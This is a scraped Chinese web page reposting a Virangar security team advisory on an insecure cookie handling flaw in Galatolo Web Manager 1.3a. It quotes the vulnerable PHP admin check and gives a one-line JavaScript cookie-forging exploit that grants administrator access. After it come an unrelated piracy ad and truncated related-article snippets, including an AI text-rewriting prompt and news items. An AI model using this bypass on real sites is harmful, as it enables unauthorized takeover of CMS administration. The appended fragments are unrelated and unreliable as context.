Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
Galatolo Web Manager 1.3a 不安全Cookie处理漏洞
Virangar 安全团队
www.virangar.net
www.virangar.ir
--------
免费影视、动漫、音乐、游戏、小说资源长期稳定更新！ 👉 点此立即查看 👈
发现者：virangar 安全团队 (hadihadi)
特别感谢：MR.nosrati, black.shadowes, MR.hesy, Zahra
以及所有virangar成员和所有黑客朋友们
致意：我在世界上最好的朋友 hadi_aryaie2004
以及我可爱的朋友 arash(imm02tal)
-------
漏洞描述：
Galatolo Web Manager 存在不安全的Cookie处理机制。当管理员登录成功后，脚本会创建一个Cookie，用于向管理后台的其他部分证明用户已登录。问题在于，这个Cookie不包含任何密码或类似的有效验证信息。因此，攻击者可以直接伪造一个管理员Cookie，让系统误认为我们是以合法管理员身份登录的。
---
漏洞代码位置：
文件：/Admin/index.php
关键代码片段如下：
if (grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "admin" || grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "editor" ){
top();
menu();
echo $wellcome_admin;
foot();
}
---
利用方式：
在浏览器地址栏或控制台执行以下Ja vaScript代码：
ja vascript:document.cookie = "gwm_user=admin; path=/"; document.cookie = "gwm_pass=admin; path=/";
-----
执行完毕后，直接访问 /admin 目录，即可获得管理员访问权限，进而管理整个CMS系统。
-------
年轻的伊朗黑客们
相关攻略
Galatolo Web Manager 1 3a 不安全Cookie处理漏洞 Virangar 安全团队 www virangar net www virangar ir -------- 发现者：virangar 安全团队 (hadihadi) 特别感谢：MR nosrati, black sh
角色与核心任务 你是一名顶尖的文章润色专家，最擅长做一件事：把那些带着明显AI腔调的文字，打磨成带有鲜明个人色彩的专业文章。接下来，就请你对用户提供的这篇文章动动刀，进行一次彻底的“人性化重写”。 整个任务的核心目标其实很明确：在不碰原文任何事实、观点、逻辑结构、章节标题乃至所有配图的前提下，彻底摆
为什么说“HTML Cookie需要隐私保护“是个伪问题 开门见山地说，“HTML Cookie需要隐私保护吗”这个问法本身，就容易把人带进误区。准确来讲，HTML并不直接操作Cookie，document cookie是Ja vaScript的API。而Cookie的隐私保护，在今天早已不是一个关
HTML Cookie和隐私保护怎么选_HTML Cookie结合隐私保护用法【速查】 document cookie 直接写入会绕过用户同意吗 会，而且几乎是“静默完成”的。只要用户的浏览器没有完全禁用Cookie，那么document cookie = “key=value”这行代码一旦执行，数
Cookie确实在WEB应用方面为访问者和编程者都提供了方便，然而从安全方面考虑是有问题的 首先，Cookie数据会随着HTTP请求和响应的包头进行明文传输，这意味着在传输过程中，这些数据可能被第三方截获和查看。其次，Cookie通常以文本文件的形式存储在用户的浏览器缓存目录中，其中可能包含用户的会
热门专题
热门推荐
霸王茶姬回应顾客喝出疑似水银物质：门店称流程不可能出现，正配合调查 近日，一则关于新茶饮的消费纠纷引发了广泛关注。据媒体报道，安徽宿州一位消费者反映，其在霸王茶姬砀山万达广场门店购买的饮品中，发现了疑似水银的液态金属物质。 根据消费者描述，事情始于饮用时尝到的异常颗粒感。随后仔细查看，竟在杯底发现了
2026款哈弗H9正式上市：硬派越野的全面进阶 4月28日，备受关注的2026款哈弗H9公布了最新动态。新车指导价定在19 99万至24 79万元区间，并推出了颇具吸引力的限时换新价——17 49万元起，顶配车型也仅需22 29万元。这个价格策略，无疑让硬派越野的门槛变得更亲民了。 外观：硬朗气场再
在Ubuntu系统中配置Ja va路径 在Ubuntu系统里配置Ja va环境，其实是个挺常见的需求。这事儿说简单也简单，核心就两步：设置好JA VA_HOME环境变量，再把Ja va的可执行文件路径加到PATH里。下面咱们就一步步来，把这事儿彻底搞定。 第一步：安装Ja va 如果你系统里还没装J
小米汽车发布五一假期专项售后服务，为车主出行保驾护航 五一假期将至，出行高峰随之而来。就在今天，小米汽车正式发布了针对2026年五一假期的专项售后服务保障方案。这项服务聚焦车主在假期出行中可能遇到的各类突发状况，推出了一系列重磅权益，覆盖了整个假期时段，从4月29日一直持续到5月6日。 此次专项服务
在Ubuntu系统中调整Ja va内存设置 在Ubuntu系统上运行Ja va应用，内存配置是个绕不开的话题。调得好，应用跑得飞快；调得不对，性能瓶颈甚至崩溃都可能找上门。好在调整方法并不复杂，关键得找准场景。下面这张图，可以帮你快速建立起一个直观的印象： 接下来，咱们就聊聊几种主流的调整路径，你可